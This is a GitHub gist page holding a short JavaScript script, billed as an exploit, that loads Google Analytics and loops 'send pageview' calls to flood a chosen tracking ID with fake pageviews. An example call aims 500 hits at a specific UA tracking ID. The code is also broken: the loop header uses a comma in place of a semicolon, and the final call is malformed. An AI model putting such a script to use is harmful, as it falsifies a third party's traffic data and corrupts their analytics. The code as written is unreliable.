-
-
Save anonymous/4a69d59551eea7923e1e9d727226dfa2 to your computer and use it in GitHub Desktop.
Exploit google analytics to spam pageviews in a short period of time
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Setup analytics | |
(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ | |
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), | |
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) | |
})(window,document,'script','https://www.google-analytics.com/analytics.js','ga'); | |
function exploit(trackingid, timesToExploit) { | |
ga('create', trackingid, 'auto'); | |
for (i = 0; i <= timesToExploit, i++) { | |
ga('send', 'pageview'); | |
} | |
} | |
// Example tracking ID | |
exploite"UA-89688840-1", 500); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment